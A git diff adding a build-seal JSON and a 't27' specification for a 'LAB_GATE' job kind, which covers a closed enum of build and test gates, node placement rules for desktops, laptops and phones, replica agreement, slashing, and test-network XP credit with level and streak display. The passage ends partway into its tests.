diff --git a/.trinity/seals/lab_LabJobKind.json b/.trinity/seals/lab_LabJobKind.json new file mode 100644 index 0000000000..8fbbd818a4 --- /dev/null +++ b/.trinity/seals/lab_LabJobKind.json @@ -0,0 +1,93 @@ +{ + "built_by": "t27c-bootstrap@0.5.2+c948f4df7", + "closure": [ + { + "spec": "specs/hosting/credit.t27", + "spec_hash": "sha256:707fedb039c1bffd25eea8e07af490f513a9875d5a253df70dfb19b83746b680" + }, + { + "spec": "specs/hosting/host.t27", + "spec_hash": "sha256:f2ac0265cc5b43920bea8859f7984b74321de21a736392fd18ae27eefc717628" + }, + { + "spec": "specs/hosting/placement.t27", + "spec_hash": "sha256:000461bbc29d09c299ca40e1aa6a30e3df390a899ff6449de320d7e4c4d9d863" + }, + { + "spec": "specs/hosting/proof.t27", + "spec_hash": "sha256:ad68d2408b4f02192ecba9e1f7e959f70d391597c1b94608de28d0163677c6f8" + }, + { + "spec": "specs/hosting/statement.t27", + "spec_hash": "sha256:3f1ee3602a996be15557989a6964d6b0978fc478598804fcc2105f5ee6145bf8" + }, + { + "spec": "specs/hosting/sybil.t27", + "spec_hash": "sha256:2bc7f7f0db0b5c1a15cfd6fb71151bac785f4288e628f9ea65166af451060ce3" + }, + { + "spec": "specs/jobs/network_job.t27", + "spec_hash": "sha256:215213b66997eac942088e8f8cc51b3e239283385241d797b82fb34d64f09202" + }, + { + "spec": "specs/network/job_rules.t27", + "spec_hash": "sha256:602f495639d21ba0b632173229f2dbf899436e64d402ca5e47f3bc2609e79e59" + }, + { + "spec": "specs/network/mvp.t27", + "spec_hash": "sha256:51e31c123af313c862f6b15765e28a76a1a618ebb0ac02c7d795dbc15da04f23" + }, + { + "spec": "specs/network/quorum.t27", + "spec_hash": "sha256:75c3abd9be6b40cc8e73dd4c2ddd466f72edc4eb1ec13143a8484a1f07a8dbc4" + }, + { + "spec": "specs/queen/netlink.t27", + "spec_hash": "sha256:447de25019d810d96b164cfda863d4b4708eb567e6635933cafa9f41c980724a" + }, + { + "spec": "specs/t27f/petal_menu.t27", + "spec_hash": "sha256:e1ced494087ebcbe9e5fe07803f187f1bafef21d7f22086297e7ace675407760" + }, + { + "spec": "specs/trinet/node-work-credit.t27", + "spec_hash": "sha256:7cafb68c406c379ddde0c4e655c15455c5fd84988733a6d6b660117eff4caea7" + }, + { + "spec": "specs/verified/corpus_receipt.t27", + "spec_hash": "sha256:4aa2b8255db10c18dd43cadedc81e23a3b0363d79d7a36fcf1e86db678106de2" + }, + { + "spec": "specs/verified/payout.t27", + "spec_hash": "sha256:7b5e8bca72e68efd2050b469bb784d68b7ce5dd15907a5f44f0f132475fead87" + }, + { + "spec": "specs/verified/signed_receipt.t27", + "spec_hash": "sha256:20728477c97dc10f66c47391e1418aff63769660c180b3912765a86f322fdb61" + } + ], + "config": "gen=c,rust,verilog,zig;tests=zig", + "gen_hash_c": "sha256:444db4020d3fc934a71d3ca266416323bb69e148c72832fd25f145eaeaac092b", + "gen_hash_rust": "sha256:2b570638d4d94dfd551e8bff976e58d48b2a4de2a9cbadd87ac8646bf5ee3b5b", + "gen_hash_verilog": "sha256:364431e262b73b0f826730718deda22b885ec04015fa3a2e252e71c04e3a0d23", + "gen_hash_zig": "sha256:2ca1666f3c8fe9ec60dfd2edffb44b98521c44dd7ce6555908f92a97b9f88520", + "module": "LabJobKind", + "ring": 12, + "seal_schema": 2, + "sealed_at": "2026-10-19T13:59:45Z", + "sealed_by": "t27c-bootstrap@0.5.2", + "spec_hash": "sha256:ddcb04fd605b9b47e33fc6357167ef8035a6006d9031ad2c398d8c8230107118", + "spec_path": "specs/lab/job_kind.t27", + "tests": { + "failed": 0, + "failing": [], + "forced": false, + "passed": 21, + "total": 21, + "vacuous": 0 + }, + "toolchain": { + "test_runner": "sha256:8512b80da533b79289110fca4a65f3336abd7a059ca4b72ea595d5e33ff8ad10", + "zig": "0.16.0" + } +} \ No newline at end of file diff --git a/specs/lab/job_kind.t27 b/specs/lab/job_kind.t27 new file mode 100644 index 0000000000..01c62beb3a --- /dev/null +++ b/specs/lab/job_kind.t27 @@ -0,0 +1,913 @@ +// SPDX-License-Identifier: Apache-2.0 +; specs/lab/job_kind.t27 -- the lab gate as one more job kind of the network: LAB_GATE, run by any T27 OS +; node, admitted by k-of-n agreement, credited in test-network XP +; Issue gHashTag/t27#11043 (lab epic #11040, T27 OS epic #11037). Owner direction, 2026-10-19: the lab is +; mobile and built into T27 OS, and it pays for useful work -- in test-network XP now -- so that users hand +; their machines to the network. The network pays the node; nobody asks a host for capacity. A lab gate +; (build, suite, seal currency, the t27b verdict, the analog reference run) stops being a place and becomes +; a job type. +; -- +; Reused, not restated. Every rule below that is not about gates or about T27 OS nodes is read from where +; it already lives: +; - network/job_rules.t27: AGREE_FIELDS (two receipts agree when the commit, the three roots and the totals +; are byte-equal; the binaries' hashes may differ), results_agree, receipt_auth's AUTH_* codes, and +; quorum_verdict with its QV_* words (QUORUM, BELOW_QUORUM, NO_VOTE, SPLIT); +; - network/quorum.t27: the admission rule 2M > N + F, quorum_admits, safe_m, one vote per operator; +; - hosting/proof.t27: the k-of-n of one job's replicas (REPLICAS_K 2, tiebreak up to REPLICAS_MAX 3) and +; which side of an agreed job a receipt is on; hosting/sybil.t27: the anchored form of the same verdict, +; and what a slash forfeits; hosting/placement.t27: whether a node may take a replica now (it is up, not +; suspended, has a free slot) and that a retry never goes back to a node that already held the gate; +; - hosting/host.t27: the trust tiers and which workload a tier may receive; hosting/credit.t27: the credit +; per receipt, one row per (node, job, kind), and the settlement that stays off; hosting/statement.t27: +; the ledger rows (kind and amount), the balance, the epoch; +; - verified/payout.t27: EXECUTOR_FEE and VERIFIER_FEE, receipt_award (an agreeing, fresh receipt earns its +; fee, a disagreeing one is slashed), CREDIT_TRANSFERABLE false; +; - jobs/network_job.t27: CREDIT_IS_TEST and the challenge window; trinet/node-work-credit.t27: the +; per-job rate REWARD_PER_JOB_MTRI; t27f/petal_menu.t27: the home of T27 OS, whose petal this card's +; reward is shown under. +; Not decided here: whose receipts reach the coordinator, the signatures and the sockets (the node agent +; and the coordinator), the toolchain pins and the sandbox a gate runs in (hosting/toolchain.t27), and the +; anchor, canaries, probation and per-epoch cap of hosting/sybil.t27, which are the ledger writer's second +; gate on every credit, gate credits included. The amounts below are the amounts before that gate. +; -- +; The job. A LAB_GATE job is two inputs: a commit sha (40 lowercase hex digits, never an abbreviation, a +; path or an option) and a gate id from a CLOSED enum of five gates. The gate command is the enum's own +; line (LJK_GATE_COMMANDS), a plain word list this card checks (ljk_command_plain); it never comes from +; pull-request text, and a node is never sent a command at all, only the id. A gate id outside the enum is +; refused by the coordinator before any node is asked (ljk_offer judges the gate first). +; -- +; Trust. A gate is a deterministic job with pinned inputs: no secret, no personal data (LJK_HOLDS_SECRET +; and LJK_HOLDS_PERSONAL are false for every gate). So it is a PUBLIC job: hosting/host.t27 `eligible` +; admits it to the lowest trust tier, and any node may run it. A node is never handed a GitHub token or +; any other credential: the offer is the sha, the gate id and the challenge (LJK_OFFER_FIELDS) and +; nothing else, the node returns a signed verdict, and the coordinator publishes it. A verdict is the +; corpus receipt's layout (verified/corpus_receipt.t27) whose commit is the sha and whose nonce is the +; challenge of the offer. The coordinator draws one challenge per offer, so a verdict answers the one gate +; that was asked; that draw is the coordinator's, not this card's. +; -- +; Placement of a T27 OS node. A node is a desktop, a laptop or a phone, and it reports its cores, its free +; disk, whether it is charging and whether its link is unmetered. A gate has a class, light, medium or +; heavy. The floors (cores, free disk) and the power and link needs are the owner's parameters, a choice +; and not a measurement of any gate; changing them is a pull request like any other. The rule, as pure +; functions (ljk_node_takes, ljk_offer): a node takes a gate only if its class may take that gate class +; at all, it has the cores and the free disk the class needs, and its power state and link are what the +; class needs. A desktop takes any class it has the room for. A laptop takes light work on battery and +; medium or heavy work only while charging. A phone takes only light gates, only while charging, only on +; an unmetered link. +; -- +; Agreement and retry. The receipts of one gate agree when results_agree holds (AGREE_FIELDS). The next +; move is a function of hosting/proof.t27's verdict (ljk_next): two receipts that agree admit the gate; +; two that do not are a split round (quorum_verdict answers QV_SPLIT) and the gate is retried on one more +; node, up to REPLICAS_MAX; a retry that makes a majority admits the gate; with no majority the gate is +; void. A slash needs an admitted gate: only then is there a side to be on (payout.t27 receipt_award), so a +; 1-1 split slashes nobody and the minority of a 2-1 round is slashed. Votes are independent operators +; (network/quorum.t27): two nodes of one operator are one vote and the second earns nothing. The honest +; ceiling stays proof.t27's: agreement shows that k keys reported the same bytes, and k keys can be one +; person; the anchored verdict of hosting/sybil.t27 is the stricter judgment, and ljk_next takes either. +; -- +; Reward. XP is test-network credit and is not a new ledger: a row is a hosting/statement.t27 row (kind +; EXECUTOR_FEE for the first agreeing receipt, VERIFIER_FEE for a later one or when a known answer already +; existed, or a slash) whose amount is the gate class's XP weight times the per-job rate of +; hosting/credit.t27, so one XP is REWARD_PER_JOB_MTRI of test credit and a light gate pays what a shard +; pays today. A disagreeing receipt of an admitted gate is slashed; a receipt that is not authentic for its +; offer, or answers a stale challenge, earns nothing and is not slashed. network/pool.t27's split of a +; job's pool is not used: a gate has no escrow and no emission schedule is set for it, the reason +; hosting/credit.t27 gives for a shard's per-receipt rate. CREDIT_IS_TEST stays true, SETTLEMENT_ENABLED +; stays false, credit is not transferable and no token value is claimed. +; -- +; The home. T27 OS shows a level and a streak read off the same rows: a level is LJK_LEVEL_XP XP of balance +; (credits less slashes, statement.t27 balance_after_entry), a streak is the run of epochs (one day each, +; statement.t27) with at least one credited gate. A streak changes no amount. The card belongs to the +; DePIN NODE petal of t27f/petal_menu.t27 (LJK_HOME_PETAL). +; ASCII only (L3). +; phi^2 + 1/phi^2 = 3 | TRINITY + +module LabJobKind; + +use jobs::network_job::CREDIT_IS_TEST; +use jobs::network_job::CHALLENGE_WINDOW_MINUTES; +use network::job_rules::AGREE_FIELDS; +use network::job_rules::AGREE_FIELD_COUNT; +use network::job_rules::results_agree; +use network::job_rules::quorum_verdict; +use network::job_rules::credit_state; +use network::job_rules::CS_FINAL; +use network::job_rules::QV_QUORUM; +use network::job_rules::QV_BELOW_QUORUM; +use network::job_rules::QV_NO_VOTE; +use network::job_rules::QV_SPLIT; +use network::quorum::QuorumConfig; +use network::quorum::one_key_each; +use network::quorum::quorum_admits; +use network::quorum::config_safe; +use network::quorum::safe_m; +use verified::signed_receipt::AUTH_MISSING_NONE; +use verified::signed_receipt::AUTH_UNSIGNED; +use verified::signed_receipt::AUTH_BAD_SIGNATURE; +use verified::signed_receipt::AUTH_NO_NONCE; +use verified::corpus_receipt::text_is; +use verified::corpus_receipt::part_is; +use verified::corpus_receipt::request_name_ok; +use verified::payout::EXECUTOR_FEE; +use verified::payout::VERIFIER_FEE; +use verified::payout::CREDIT_TRANSFERABLE; +use verified::payout::OUT_CREDITED; +use verified::payout::AWARD_NONE; +use verified::payout::AWARD_FEE; +use verified::payout::AWARD_SLASH; +use verified::payout::receipt_award; +use trinet::node-work-credit::REWARD_PER_JOB_MTRI; +use hosting::credit::SETTLEMENT_ENABLED; +use hosting::credit::TOKEN_VALUE_CLAIMED; +use hosting::credit::LE_CREDIT; +use hosting::credit::LE_SLASH; +use hosting::credit::credit_mtri; +use hosting::credit::row_admitted; +use hosting::host::TIER_PUBLIC; +use hosting::host::WC_SHARD; +use hosting::host::STRIKES_MAX; +use hosting::host::eligible; +use hosting::placement::may_take; +use hosting::placement::spread_ok; +use hosting::proof::JV_PENDING; +use hosting::proof::JV_AGREED; +use hosting::proof::JV_TIEBREAK; +use hosting::proof::JV_UNRESOLVED; +use hosting::proof::REPLICAS_K; +use hosting::proof::REPLICAS_MAX; +use hosting::proof::SIDE_AGREED; +use hosting::proof::SIDE_DISSENT; +use hosting::proof::SIDE_NONE; +use hosting::proof::TOP_GROUP; +use hosting::proof::job_verdict; +use hosting::proof::wanted_after; +use hosting::proof::side_of; +use hosting::sybil::CAP_PUBLIC_MTRI; +use hosting::sybil::anchored_verdict; +use hosting::sybil::slash_mtri; +use hosting::statement::EPOCH_SECONDS; +use hosting::statement::EPOCH_ORIGIN_UNIX; +use hosting::statement::epoch_of; +use hosting::statement::shard_kind; +use hosting::statement::balance_after_entry; +use hosting::statement::leaf_kind_known; +use network::mvp::ENTRY_SLASH; +use queen::netlink::NODE_TTL_SECONDS; +use t27f::petal_menu::PETAL_COUNT; +use t27f::petal_menu::WORLD_NAMES; +use t27f::petal_menu::petal_ok; + +; --- 1. The job kind and its closed gate enum ------------------------------------------------------ + +/// The job kind's name, and the two parameters a LAB_GATE job starts with. +pub const LJK_KIND : str = "LAB_GATE"; +pub const LJK_PARAMS : [2]str = ["sha", "gate"]; + +/// The gates, by id. The enum is closed: an id at or past LJK_GATES is no gate. +pub const LJK_GATES : u32 = 5; +pub const LJK_GATE_NONE : u32 = 255; +pub const LJK_GATE_BUILD : u32 = 0; +pub const LJK_GATE_SUITE : u32 = 1; +pub const LJK_GATE_SEAL_CURRENCY : u32 = 2; +pub const LJK_GATE_T27B_VERDICT : u32 = 3; +pub const LJK_GATE_ANALOG_REFERENCE : u32 = 4; + +/// The word each gate is called by in a request, indexed by id. Nothing else names a gate. +pub const LJK_GATE_WORDS : [5]str = ["build", "suite", "seal-currency", "t27b-verdict", "analog-reference"]; + +/// The command each gate runs, indexed by id. Fixed here: it never comes from pull-request text, and a +/// node is sent the id, never the line. seal-currency is `tri seals drift` without --fix, which only reads; +/// t27b-verdict is the corpus run whose result `t27c corpus-receipt` signs; analog-reference is the test +/// run of specs/analog/bench.t27, the spec that holds the ngspice reference rows. +pub const LJK_GATE_COMMANDS : [5]str = [ + "cargo build --release -p t27c", + "t27c suite --repo-root .", + "tri seals drift", + "t27b corpus specs --json run.json --reference t27c", + "t27c test-report specs/analog/bench.t27" +]; + +pub fn ljk_gate_known(gate: u32) -> bool { + return gate < LJK_GATES; +} + +/// The word of a gate, and "" for an id outside the enum. +pub fn ljk_gate_word(gate: u32) -> str { + if (ljk_gate_known(gate) == false) { return ""; } + return LJK_GATE_WORDS[gate]; +} + +/// The command of a gate, and "" for an id outside the enum: nothing to run. +pub fn ljk_gate_command(gate: u32) -> str { + if (ljk_gate_known(gate) == false) { return ""; } + return LJK_GATE_COMMANDS[gate]; +} + +/// The id a request's word names, or LJK_GATE_NONE. A word is the whole word: a command line, a prefix +/// or a word with anything beside it names no gate. +pub fn ljk_gate_of_word(word: string) -> u32 { + var k : u32 = 0; + while (k < LJK_GATES) { + if (text_is(word, LJK_GATE_WORDS[k])) { return k; } + k = k + 1; + } + return LJK_GATE_NONE; +} + +/// A command line is plain: lowercase letters, digits, space, dot, dash, underscore and slash, and not +/// empty. No quote, no separator, no substitution can be in a line of the enum. +pub fn ljk_command_plain(cmd: string) -> bool { + if ((cmd.len as u32) == 0) { return false; } + var k : u32 = 0; + while (k < (cmd.len as u32)) { + let c : u32 = cmd[k] as u32; + let letter : bool = c >= 97 and c <= 122; + let digit : bool = c >= 48 and c <= 57; + let mark : bool = c == 32 or c == 46 or c == 45 or c == 95 or c == 47; + if (letter == false and digit == false and mark == false) { return false; } + k = k + 1; + } + return true; +} + +; --- 2. Gate classes, and what each needs from a node --------------------------------------------------- + +pub const LJK_CLASS_LIGHT : u8 = 0; +pub const LJK_CLASS_MEDIUM : u8 = 1; +pub const LJK_CLASS_HEAVY : u8 = 2; +pub const LJK_CLASSES : u8 = 3; +pub const LJK_CLASS_WORDS : [3]str = ["light", "medium", "heavy"]; + +/// The class of a gate; LJK_CLASSES, which is no class, for an id outside the enum. +pub fn ljk_gate_class(gate: u32) -> u8 { + if (gate == LJK_GATE_SEAL_CURRENCY) { return LJK_CLASS_LIGHT; } + if (gate == LJK_GATE_T27B_VERDICT or gate == LJK_GATE_ANALOG_REFERENCE) { return LJK_CLASS_MEDIUM; } + if (gate == LJK_GATE_BUILD or gate == LJK_GATE_SUITE) { return LJK_CLASS_HEAVY; } + return LJK_CLASSES; +} + +/// What a class needs of a node: cores, and free disk in MB. Floors a node must have, a choice not a +/// measurement. +pub const LJK_NEED_CORES : [3]u32 = [1, 2, 4]; +pub const LJK_NEED_DISK_MB : [3]u32 = [512, 4096, 20480]; + +/// The XP a class pays, in multiples of the per-job rate: a light gate pays one rate, a medium three, a +/// heavy nine. A choice, the owner's to change. +pub const LJK_XP_TIMES : [3]u64 = [1, 3, 9]; + +/// The XP of one credited receipt of a gate class: its multiple of what hosting/credit.t27 credits for one +/// agreeing receipt, and 0 for no class. One XP is REWARD_PER_JOB_MTRI of test credit. +pub fn ljk_xp_weight(gate_class: u8) -> u64 { + if (gate_class >= LJK_CLASSES) { return 0; } + return LJK_XP_TIMES[gate_class] * credit_mtri(SIDE_AGREED, false, false); +} + +; --- 3. T27 OS nodes, and the placement decision ----------------------------------------------------------- + +pub const LJK_NODE_DESKTOP : u8 = 0; +pub const LJK_NODE_LAPTOP : u8 = 1; +pub const LJK_NODE_PHONE : u8 = 2; +pub const LJK_NODE_CLASSES : u8 = 3; + +/// What a node reports when it asks for work. +pub struct LjkNodeState { + node_class: u8, + cores: u32, + free_disk_mb: u32, + charging: bool, + unmetered: bool, +} + +/// ljk_node_takes() answers: why a node does not take a gate class, in judgment order. +pub const LJK_TAKE_OK : u8 = 0; +pub const LJK_TAKE_BAD_NODE : u8 = 1; +pub const LJK_TAKE_BAD_CLASS : u8 = 2; +pub const LJK_TAKE_TOO_HEAVY : u8 = 3; +pub const LJK_TAKE_CORES : u8 = 4; +pub const LJK_TAKE_DISK : u8 = 5; +pub const LJK_TAKE_POWER : u8 = 6; +pub const LJK_TAKE_LINK : u8 = 7; + +/// The heaviest gate class a node class ever takes: a phone takes light gates only. +pub fn ljk_max_class(node_class: u8) -> u8 { + if (node_class == LJK_NODE_PHONE) { return LJK_CLASS_LIGHT; } + return LJK_CLASS_HEAVY; +} + +/// Whether a node class must be charging for a gate class: a desktop never; a phone always; a laptop for +/// any class above light. +pub fn ljk_needs_charging(node_class: u8, gate_class: u8) -> bool { + if (node_class == LJK_NODE_DESKTOP) { return false; } + if (node_class == LJK_NODE_PHONE) { return true; } + return gate_class != LJK_CLASS_LIGHT; +} + +/// Whether a node class must be on an unmetered link: a phone. +pub fn ljk_needs_unmetered(node_class: u8) -> bool { + return node_class == LJK_NODE_PHONE; +} + +/// Whether this node takes a gate of this class, or the first reason it does not. +pub fn ljk_node_takes(n: LjkNodeState, gate_class: u8) -> u8 { + if (n.node_class >= LJK_NODE_CLASSES) { return LJK_TAKE_BAD_NODE; } + if (gate_class >= LJK_CLASSES) { return LJK_TAKE_BAD_CLASS; } + if (gate_class > ljk_max_class(n.node_class)) { return LJK_TAKE_TOO_HEAVY; } + if (n.cores < LJK_NEED_CORES[gate_class]) { return LJK_TAKE_CORES; } + if (n.free_disk_mb < LJK_NEED_DISK_MB[gate_class]) { return LJK_TAKE_DISK; } + if (ljk_needs_charging(n.node_class, gate_class) and n.charging == false) { return LJK_TAKE_POWER; } + if (ljk_needs_unmetered(n.node_class) and n.unmetered == false) { return LJK_TAKE_LINK; } + return LJK_TAKE_OK; +} + +; --- 4. The offer: public tier only, and nothing a node could misuse ------------------------------------- + +/// A gate is a PUBLIC job: the lowest trust tier may run it, so it holds no secret and no personal data. +pub const LJK_TRUST_TIER : u8 = TIER_PUBLIC; +pub const LJK_HOLDS_SECRET : bool = false; +pub const LJK_HOLDS_PERSONAL : bool = false; + +/// What an offer carries to a node: the commit, the gate id and the challenge. No token, no credential, +/// no command. +pub const LJK_OFFER_FIELDS : [3]str = ["sha", "gate", "challenge"]; +pub const LJK_OFFER_FIELD_COUNT : u32 = 3; + +pub fn ljk_offer_field_ok(name: string) -> bool { + var k : u32 = 0; + while (k < LJK_OFFER_FIELD_COUNT) { + if (text_is(name, LJK_OFFER_FIELDS[k])) { return true; } + k = k + 1; + } + return false; +} + +/// ljk_offer() answers, in judgment order. The gate is judged first, before any node is read. +pub const LJK_OFFER_OK : u8 = 0; +pub const LJK_OFFER_BAD_GATE : u8 = 1; +pub const LJK_OFFER_BAD_SHA : u8 = 2; +pub const LJK_OFFER_NOT_PUBLIC : u8 = 3; +pub const LJK_OFFER_NODE_UNFIT : u8 = 4; +pub const LJK_OFFER_NOT_PLACEABLE : u8 = 5; + +/// Whether the coordinator offers this gate, for this commit, to this node now. beat_age_seconds, +/// strikes, slots and running are the node's standing for hosting/placement.t27 may_take: up, not +/// suspended, a free slot. +pub fn ljk_offer(gate: u32, sha: string, n: LjkNodeState, beat_age_seconds: u32, strikes: u32, slots: u32, running: u32) -> u8 { + if (ljk_gate_known(gate) == false) { return LJK_OFFER_BAD_GATE; } + if (request_name_ok(sha) == false) { return LJK_OFFER_BAD_SHA; } + if (eligible(LJK_TRUST_TIER, WC_SHARD, LJK_HOLDS_SECRET, LJK_HOLDS_PERSONAL) == false) { return LJK_OFFER_NOT_PUBLIC; } + if (ljk_node_takes(n, ljk_gate_class(gate)) != LJK_TAKE_OK) { return LJK_OFFER_NODE_UNFIT; } + if (may_take(LJK_TRUST_TIER, WC_SHARD, LJK_HOLDS_SECRET, LJK_HOLDS_PERSONAL, beat_age_seconds, strikes, slots, running) == false) { return LJK_OFFER_NOT_PLACEABLE; } + return LJK_OFFER_OK; +} + +; --- 5. Agreement, retry and slash ----------------------------------------------------------------------- + +/// ljk_next() answers: what the coordinator does with a gate after a round of receipts. +pub const LJK_NEXT_WAIT : u8 = 0; +pub const LJK_NEXT_ADMIT : u8 = 1; +pub const LJK_NEXT_RETRY : u8 = 2; +pub const LJK_NEXT_VOID : u8 = 3; + +/// The next move for a gate, from the agreement verdict of hosting/proof.t27 job_verdict (or of +/// hosting/sybil.t27 anchored_verdict when the gate has an anchor): agreed admits it, a tiebreak retries +/// it on one more node, unresolved voids it, pending waits. +pub fn ljk_next(verdict: u8) -> u8 { + if (verdict == JV_AGREED) { return LJK_NEXT_ADMIT; } + if (verdict == JV_TIEBREAK) { return LJK_NEXT_RETRY; } + if (verdict == JV_UNRESOLVED) { return LJK_NEXT_VOID; } + return LJK_NEXT_WAIT; +} + +/// The word of a round, from job_rules.t27 quorum_verdict: agreeing_operators is the count of independent +/// operators among the receipts that agree; any dissenting receipt makes the round SPLIT. +pub fn ljk_round_word(agreeing_operators: u32, dissenting_receipts: u32) -> u8 { + return quorum_verdict(agreeing_operators, dissenting_receipts == 0); +} + +/// What one receipt earns from a gate: payout.t27 receipt_award, where the run is admitted when the gate +/// is, the receipt is fresh when it authenticated for its offer (job_rules.t27 receipt_auth answered +/// AUTH_MISSING_NONE: signed, registered, verified, and its nonce is the offer's challenge), and agrees +/// when its result matches the admitted one. +pub fn ljk_award(next: u8, auth: u8, agrees_with_run: bool) -> u8 { + return receipt_award(next == LJK_NEXT_ADMIT, auth == AUTH_MISSING_NONE, agrees_with_run); +} + +; --- 6. The reward: ledger rows, in test-network XP ---------------------------------------------------------- + +/// No row. +pub const LJK_ROW_NONE : u8 = 0; + +/// The kind of the row an award writes: a fee of the kind statement.t27 gives the receipt's place (the +/// executor's first, a verifier's after, or every one a verifier's when a known answer existed), or the +/// slash entry. +pub fn ljk_row_kind(award: u8, known_answer: bool, index: u32) -> u8 { + if (award == AWARD_FEE) { return shard_kind(known_answer, index); } + if (award == AWARD_SLASH) { return ENTRY_SLASH; } + return LJK_ROW_NONE; +} + +/// The XP of the row: a fee is the class's weight, nothing for a receipt of an operator already credited +/// for the gate (network/quorum.t27: one vote per operator); a slash forfeits what the key earned this +/// epoch, up to its cap (hosting/sybil.t27 slash_mtri). +pub fn ljk_row_xp(award: u8, gate_class: u8, first_of_operator: bool, earned_this_epoch: u64, cap: u64) -> u64 { + if (award == AWARD_FEE) { + if (first_of_operator == false) { return 0; } + return ljk_xp_weight(gate_class); + } + if (award == AWARD_SLASH) { return slash_mtri(earned_this_epoch, cap); } + return 0; +} + +/// Whether the row is written: one credit row and one slash row per (node, gate job), as credit.t27 +/// row_admitted keeps every row. +pub fn ljk_row_due(award: u8, credit_row_exists: bool, slash_row_exists: bool) -> bool { + if (award == AWARD_FEE) { return row_admitted(LE_CREDIT, credit_row_exists); } + if (award == AWARD_SLASH) { return row_admitted(LE_SLASH, slash_row_exists); } + return false; +} + +/// Whether an XP credit is final, minutes after it settled: job_rules.t27 credit_state, over the same +/// challenge window as every network job. The home counts a final credit apart from a pending one. +pub fn ljk_xp_final(minutes_since: u32, challenge_open: bool) -> bool { + return credit_state(OUT_CREDITED, minutes_since, challenge_open) == CS_FINAL; +} + +; --- 7. The home: level and streak, read off the ledger -------------------------------------------------------- + +/// XP per level. Level 1 is the first LJK_LEVEL_XP XP. A choice; there is no ceiling. +pub const LJK_LEVEL_XP : u64 = 27; + +pub fn ljk_level(balance_xp: u64) -> u64 { + return (balance_xp / LJK_LEVEL_XP) + 1; +} + +/// The XP into the current level, for a progress bar. +pub fn ljk_level_progress(balance_xp: u64) -> u64 { + return balance_xp % LJK_LEVEL_XP; +} + +/// The streak never wraps. +pub const LJK_STREAK_MAX : u32 = 4294967295; + +/// The streak after a credit lands in `epoch` (statement.t27 epoch_of), given the streak and the last +/// epoch with a credit. The first credit starts it at 1; a second credit in the same epoch, or a late row +/// of an earlier one, changes nothing; the next epoch adds one; a gap of a whole epoch starts it again at 1. +pub fn ljk_streak_after(streak: u32, last_epoch: u64, epoch: u64) -> u32 { + if (streak == 0) { return 1; } + if (epoch <= last_epoch) { return streak; } + if (epoch == last_epoch + 1) { + if (streak == LJK_STREAK_MAX) { return streak; } + return streak + 1; + } + return 1; +} + +/// The streak the home shows at `now_epoch`: alive through the epoch after the last credit, gone once a +/// whole epoch has passed without one. +pub fn ljk_streak_shown(streak: u32, last_epoch: u64, now_epoch: u64) -> u32 { + if (now_epoch > last_epoch + 1) { return 0; } + return streak; +} + +/// The petal of the home whose menu holds the reward card: DePIN NODE, a petal of t27f/petal_menu.t27. +pub const LJK_HOME_PETAL : u32 = 16; + +/// Whether the world named at index `petal` of a comma-separated list is `word`. +pub fn ljk_world_is(names: string, petal: u32, word: string) -> bool { + var k : u32 = 0; + var seg : u32 = 0; + var start : u32 = 0; + while (k <= (names.len as u32)) { + if (k == (names.len as u32) or (names[k] as u32) == 44) { + if (seg == petal) { return part_is(names, start, k, word); } + seg = seg + 1; + start = k + 1; + } + k = k + 1; + } + return false; +} + +; --- Fixtures ------------------------------------------------------------------------------------------------ +; Synthetic: a commit name and four receipt messages in corpus_receipt.t27's layout (the domain line, then +; the eight fields in order, nothing after). A and B agree on every AGREE_FIELDS line and differ in the +; t27c binary's hash, which two nodes build each for themselves; C differs in its verdict_root. + +pub const LJK_SHA : str = "0123456789abcdef0123456789abcdef01234567"; +pub const LJK_MSG_A : str = "t27-corpus-receipt-v1\ncommit=1\nt27b_sha256=2\nt27c_sha256=3\ninput_root=4\nverdict_root=5\noutput_root=6\ntotals={}\nnonce=7\n"; +pub const LJK_MSG_B : str = "t27-corpus-receipt-v1\ncommit=1\nt27b_sha256=2\nt27c_sha256=9\ninput_root=4\nverdict_root=5\noutput_root=6\ntotals={}\nnonce=8\n"; +pub const LJK_MSG_C : str = "t27-corpus-receipt-v1\ncommit=1\nt27b_sha256=2\nt27c_sha256=3\ninput_root=4\nverdict_root=0\noutput_root=6\ntotals={}\nnonce=7\n"; + +/// A node that asks for work: a desktop with 8 cores and 100 GB free, on mains and an unmetered link. +pub fn ljk_sample_desktop() -> LjkNodeState { + return LjkNodeState { node_class: LJK_NODE_DESKTOP, cores: 8, free_disk_mb: 102400, charging: true, unmetered: true }; +} + +/// A laptop with 8 cores and 50 GB free, on an unmetered link. +pub fn ljk_sample_laptop(charging: bool) -> LjkNodeState { + return LjkNodeState { node_class: LJK_NODE_LAPTOP, cores: 8, free_disk_mb: 51200, charging: charging, unmetered: true }; +} + +/// A phone with 6 cores and 32 GB free. +pub fn ljk_sample_phone(charging: bool, unmetered: bool) -> LjkNodeState { + return LjkNodeState { node_class: LJK_NODE_PHONE, cores: 6, free_disk_mb: 32768, charging: charging, unmetered: unmetered }; +} + +; --- Tests ------------------------------------------------------------------------------------------------------ + +test the_gate_enum_is_closed_and_every_gate_has_a_word_a_command_and_a_class { + var light : u32 = 0; + var medium : u32 = 0; + var heavy : u32 = 0; + var g : u32 = 0; + while (g < LJK_GATES) { + assert ljk_gate_known(g); + assert text_is(ljk_gate_word(g), "") == false; + assert text_is(ljk_gate_command(g), "") == false; + assert text_is(ljk_gate_word(g), LJK_GATE_WORDS[g]); + assert ljk_gate_of_word(LJK_GATE_WORDS[g]) == g; + assert ljk_gate_class(g) < LJK_CLASSES; + if (ljk_gate_class(g) == LJK_CLASS_LIGHT) { light = light + 1; } + if (ljk_gate_class(g) == LJK_CLASS_MEDIUM) { medium = medium + 1; } + if (ljk_gate_class(g) == LJK_CLASS_HEAVY) { heavy = heavy + 1; } + // words and commands are each named once + var h : u32 = g + 1; + while (h < LJK_GATES) { + assert text_is(LJK_GATE_WORDS[g], LJK_GATE_WORDS[h]) == false; + assert text_is(LJK_GATE_COMMANDS[g], LJK_GATE_COMMANDS[h]) == false; + h = h + 1; + } + g = g + 1; + } + assert light >= 1 and medium >= 1 and heavy >= 1; + assert light + medium + heavy == LJK_GATES; + // an id outside the enum has no word, no command and no class + assert ljk_gate_known(LJK_GATES) == false; + assert ljk_gate_known(LJK_GATE_NONE) == false; + assert ljk_gate_known(4294967295) == false; + assert text_is(ljk_gate_word(LJK_GATES), ""); + assert text_is(ljk_gate_command(LJK_GATES), ""); + assert ljk_gate_class(LJK_GATES) == LJK_CLASSES; + assert text_is(LJK_KIND, "LAB_GATE"); + assert text_is(LJK_PARAMS[0], "sha") and text_is(LJK_PARAMS[1], "gate"); +} + +test a_gate_command_comes_from_the_enum_and_is_a_plain_word_list { + assert 